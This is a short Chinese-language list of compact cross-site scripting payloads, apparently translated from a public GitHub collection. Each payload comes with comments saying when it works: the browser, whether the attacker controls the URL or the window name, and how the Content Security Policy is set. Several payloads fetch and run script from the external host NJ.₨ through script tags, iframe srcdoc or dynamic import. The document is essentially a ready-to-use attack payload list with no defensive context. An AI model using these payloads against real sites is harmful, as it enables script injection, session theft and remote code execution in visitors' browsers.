XSS-Payloads
<!-- 僅适用于反射型XSS --!>
<svg/onload=eval(name)>
<!-- 如果你控制了 URL -->
<svg/onload=eval(`'`+URL)>
<!-- 如果你控制了名字,但是 unsafe-eval 沒有啟用 -->
<svg/onload=location=name>
<!-- 在 chrome 中,也适用于 innerHTML,即使在尚未插入 DOM 的元素上 -->
<svg><svg/onload=eval(name)>
<!-- 如果您控制視窗的名稱,此有效負載将在innerHTML 内工作,即使在尚未插入DOM 的元素上-->
<audio/src/onerror=eval(name)>
<!-- 如果您控制 URL,此有效負載将在 innerHTML 内工作,即使在尚未插入 DOM 的元素上 -->
<img/src/onerror=eval(`'`+URL)>
<!-- 随便一個腳本 -->
<script/src=//NJ.₨></script>
<!-- 如果你控制了視窗的名字 -->
<iframe/onload=src=top.name>
<!-- 如果你控制了 URL -->
<iframe/onload=eval(`'`+URL)>
<!-- 如果頁面上的 iframe 數量不變 -->
<iframe/onload=src=top[0].name+/\NJ.₨?/>
<!-- 僅适用于 Firefox -->
<iframe/srcdoc="<svg><script/href=//NJ.₨ />">
<!-- 如果頁面上的 iframe 數量是随機的 -->
<iframe/onload=src=contentWindow.name+/\NJ.₨?/>
<!-- 如果在 CSP 中禁用 unsafe-inline 并且允許外部腳本 -->
<iframe/srcdoc="<script/src=//NJ.₨></script>">
<!-- 如果允許内聯樣式 -->
<style/onload=eval(name)>
<!-- 如果允許内聯樣式并且可以控制 URL -->
<style/onload=eval(`'`+URL)>
<!-- 如果内聯樣式被阻止 -->
<style/onerror=eval(name)>
<!-- 使用外部腳本作為導入,在innerHTML 中不起作用,除非Firefox -->
<!-- PoC 僅适用于 https 和 Chrome,因為 NJ.₨ 檢查 Sec-Fetch-Dest 标頭 -->
<svg/onload=import(/\\NJ.₨/)>
<!-- 使用外部腳本作為導入,如果允許内聯樣式則觸發。
<!-- PoC 僅适用于 https 和 Chrome,因為 NJ.₨ 檢查 Sec-Fetch-Dest 标頭 -->
<style/onload=import(/\\NJ.₨/)>
<!-- 使用外部腳本作為導入 -->
<!-- PoC 僅适用于 https 和 Chrome,因為 NJ.₨ 檢查 Sec-Fetch-Dest 标頭 -->
<iframe/onload=import(/\\NJ.₨/)>
棄用
<!-- 如果你控制了網址,Safari-only -->
<iframe/onload=write(URL)>
<!-- 如果允許内聯樣式,僅 Safari -->
<style/onload=write(URL)>
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5SM3QWYhFGZwUDZxIGZkFTOyMmY0ITNiZmZ1kTM1MWYw8CX5d2bs92Yl1iclB3bsVmdlR2LcNWaw9CXt92Yu4GZjlGbh5yYjV3Lc9CX6MHc0RHaiojIsJye.png)
參考連結
https://github.com/terjanq/Tiny-XSS-Payloads#current-payloads